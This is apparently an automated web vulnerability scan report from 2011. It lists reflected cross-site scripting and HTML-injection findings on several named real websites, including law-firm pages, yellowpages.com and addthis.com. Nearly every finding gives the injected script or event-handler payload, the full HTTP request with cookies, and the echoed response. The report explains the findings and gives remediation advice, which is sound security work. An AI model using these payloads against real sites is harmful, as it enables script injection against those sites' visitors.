The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4b894"><script>alert(1)</script>8dd0074b00e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /x22?4b894"><script>alert(1)</script>8dd0074b00e=1 HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:10:54 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 74302<img%20src%3da%20onerror%3dalert(1)>9c7a66be0e0 was submitted in the REST URL parameter 1. This input was echoed as 74302<img src=a onerror=alert(1)>9c7a66be0e0 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /Washington-DC74302<img%20src%3da%20onerror%3dalert(1)>9c7a66be0e0/Attorneys HTTP/1.1 Host: www.yellowpages.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 56576"><script>alert(1)</script>eda13df7848 was submitted in the Referer HTTP header. This input was echoed as 56576\"><script>alert(1)</script>eda13df7848 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET / HTTP/1.1 Host: gc.blog.br Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=56576"><script>alert(1)</script>eda13df7848
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 18:08:53 GMT Server: Apache/2.2.10 (CentOS) X-Pingback: http://gc.blog.br/xmlrpc.php Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 121965
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en-US">
<head p ...[SNIP]... <a href="http://duodra.co/post/seu-ambiente-de-trabalho-em-7-itens/" onclick="urchinTracker('/outgoing/duodra.co/post/seu-ambiente-de-trabalho-em-7-itens/?referer=http://www.google.com/search?hl=en&q=56576\"><script>alert(1)</script>eda13df7848');"> ...[SNIP]...
The value of the Referer HTTP header is copied into an HTML comment. The payload f8d51--><script>alert(1)</script>e2c96b26918 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET / HTTP/1.1 Host: gc.blog.br Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=f8d51--><script>alert(1)</script>e2c96b26918
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 18:09:02 GMT Server: Apache/2.2.10 (CentOS) X-Pingback: http://gc.blog.br/xmlrpc.php Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 121965
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en-US">
<head p ...[SNIP]... <a href="http://www.devinrio.com.br" onclick="urchinTracker('/outgoing/www.devinrio.com.br?referer=http://www.google.com/search?hl=en&q=f8d51--><script>alert(1)</script>e2c96b26918');"> ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 5e292"-alert(1)-"08d167dc5bb was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET / HTTP/1.1 Host: kasimer-ittig.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=5e292"-alert(1)-"08d167dc5bb
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 1915d"-alert(1)-"4b7de07c498 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /&hl=en&client=ca-dp-sphere-radlinks_js&gl=US HTTP/1.1 Host: kasimer-ittig.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=1915d"-alert(1)-"4b7de07c498
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 12d4a"-alert(1)-"598eea2d0ba was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /&hl=en&client=ca-dp-sphere_related_xml&gl=US HTTP/1.1 Host: kasimer-ittig.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=12d4a"-alert(1)-"598eea2d0ba
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f3aa4"><script>alert(1)</script>5b3e569b7ac was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /lab/innerfade/ HTTP/1.1 Host: medienfreunde.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: f3aa4"><script>alert(1)</script>5b3e569b7ac
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 18:09:52 GMT Server: Apache X-Powered-By: PHP/5.2.10 Vary: Accept-Encoding Connection: close Content-Type: text/html Content-Length: 14733
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="de" lang="de"> <!-- saved from url=(0013)about:internet --> <hea ...[SNIP]... <iframe src="http://pingomatic.com/ping/?title=Gestaltung+von+Flyern&blogurl=f3aa4"><script>alert(1)</script>5b3e569b7ac&rssurl=&chk_weblogscom=on&chk_blogs=on&chk_technorati=on&chk_feedburner=on&chk_syndic8=on&chk_newsgator=on&chk_feedster=on&chk_myyahoo=on&chk_pubsubcom=on&chk_blogdigger=on&chk_blogstreet=on&chk_moreo ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e1fbc"-alert(1)-"4da742fdffd was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /domainserve/domainView HTTP/1.1 Host: web2.domainmall.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=e1fbc"-alert(1)-"4da742fdffd
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5ff5f"><script>alert(1)</script>3d126670e87 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /bookmark.php HTTP/1.1 Host: www.addthis.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=5ff5f"><script>alert(1)</script>3d126670e87
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 15:26:39 GMT Server: Apache X-Powered-By: PHP/5.2.13 Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Set-Cookie: Coyote-2-a0f0083=a0f022f:0; path=/ Content-Length: 92849
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>AddThis Social Bookm ...[SNIP]... <input type="hidden" id="url" name="url" value="http://www.google.com/search?hl=en&q=5ff5f"><script>alert(1)</script>3d126670e87" /> ...[SNIP]...
The value of the Referer HTTP header is copied into the HTML document as plain text between tags. The payload aef4b<script>alert(1)</script>c275ed0f500 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /bookmark.php HTTP/1.1 Host: www.addthis.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=aef4b<script>alert(1)</script>c275ed0f500
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 15:26:39 GMT Server: Apache X-Powered-By: PHP/5.2.13 Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Set-Cookie: Coyote-2-a0f0083=a0f021f:0; path=/ Content-Length: 92835
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>AddThis Social Bookm ...[SNIP]... <h4>aef4b<script>alert(1)</script>c275ed0f500 - Google search</h4> ...[SNIP]...
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 56449"><a>3c0af12941a was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET / HTTP/1.1 Host: www.arnoldporter.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Referer: http://www.google.com/search?hl=en&q=56449"><a>3c0af12941a
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:14:59 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: CFID=18264165;expires=Fri, 11-Jan-2041 15:14:59 GMT;path=/ Set-Cookie: CFTOKEN=19385056;expires=Fri, 11-Jan-2041 15:14:59 GMT;path=/ Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/DTD/strict.dtd">
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1a813"><a>7b216e3e1ad was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /about_the_firm_diversity_our_values.cfm HTTP/1.1 Host: www.arnoldporter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=41801191; __utmz=248117591.1295449755.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263646; __utma=248117591.1964504674.1295449755.1295449755.1295449755.1; __utmc=248117591; __utmb=248117591.1.10.1295449755; sifrFetch=true; Referer: http://www.google.com/search?hl=en&q=1a813"><a>7b216e3e1ad
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:27:46 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/DTD/strict.dtd">
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a7be1"><a>6b37d6049c6 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /about_the_firm_pro_bono_our_commitment.cfm HTTP/1.1 Host: www.arnoldporter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=41801191; __utmz=248117591.1295449755.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263646; __utma=248117591.1964504674.1295449755.1295449755.1295449755.1; __utmc=248117591; __utmb=248117591.1.10.1295449755; sifrFetch=true; Referer: http://www.google.com/search?hl=en&q=a7be1"><a>6b37d6049c6
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:27:35 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/DTD/strict.dtd">
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 18dcd"><a>1951d83601 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /about_the_firm_recognition.cfm HTTP/1.1 Host: www.arnoldporter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=41801191; __utmz=248117591.1295449755.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263646; __utma=248117591.1964504674.1295449755.1295449755.1295449755.1; __utmc=248117591; __utmb=248117591.1.10.1295449755; sifrFetch=true; Referer: http://www.google.com/search?hl=en&q=18dcd"><a>1951d83601
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:27:43 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/DTD/strict.dtd">
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7e576"><a>6afa9807f84 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /about_the_firm_recognition_rankings.cfm HTTP/1.1 Host: www.arnoldporter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=41801191; __utmz=248117591.1295449755.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263646; __utma=248117591.1964504674.1295449755.1295449755.1295449755.1; __utmc=248117591; __utmb=248117591.1.10.1295449755; sifrFetch=true; Referer: http://www.google.com/search?hl=en&q=7e576"><a>6afa9807f84
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:28:29 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/DTD/strict.dtd">
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d86c8"><a>12209855120 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /about_the_firm_who_we_are.cfm HTTP/1.1 Host: www.arnoldporter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=41801191; __utmz=248117591.1295449755.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263646; __utma=248117591.1964504674.1295449755.1295449755.1295449755.1; __utmc=248117591; __utmb=248117591.1.10.1295449755; sifrFetch=true; Referer: http://www.google.com/search?hl=en&q=d86c8"><a>12209855120
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:26:55 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/DTD/strict.dtd">
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 47c51"><a>3e7a64ab71 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /advisory.cfm HTTP/1.1 Host: www.arnoldporter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=41801191; __utmz=248117591.1295449755.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263646; __utma=248117591.1964504674.1295449755.1295449755.1295449755.1; __utmc=248117591; __utmb=248117591.1.10.1295449755; sifrFetch=true; Referer: http://www.google.com/search?hl=en&q=47c51"><a>3e7a64ab71
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:27:20 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/DTD/strict.dtd">
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f57f0"><a>27be33cf6b9 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /careers.cfm HTTP/1.1 Host: www.arnoldporter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=41801191; __utmz=248117591.1295449755.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263646; __utma=248117591.1964504674.1295449755.1295449755.1295449755.1; __utmc=248117591; __utmb=248117591.1.10.1295449755; sifrFetch=true; Referer: http://www.google.com/search?hl=en&q=f57f0"><a>27be33cf6b9
Response (redirected)
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:26:56 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/DTD/strict.dtd">
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f5a4c"><a>7d008f3eaa6 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /contact.cfm HTTP/1.1 Host: www.arnoldporter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=41801191; __utmz=248117591.1295449755.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263646; __utma=248117591.1964504674.1295449755.1295449755.1295449755.1; __utmc=248117591; __utmb=248117591.1.10.1295449755; sifrFetch=true; Referer: http://www.google.com/search?hl=en&q=f5a4c"><a>7d008f3eaa6
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:27:13 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/DTD/strict.dtd">
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1e8d2"><a>935e63f487b was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /events.cfm HTTP/1.1 Host: www.arnoldporter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=41801191; __utmz=248117591.1295449755.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263646; __utma=248117591.1964504674.1295449755.1295449755.1295449755.1; __utmc=248117591; __utmb=248117591.1.10.1295449755; sifrFetch=true; Referer: http://www.google.com/search?hl=en&q=1e8d2"><a>935e63f487b
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:27:24 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/DTD/strict.dtd">
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5d1f7'-alert(1)-'2b3427d18c5 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
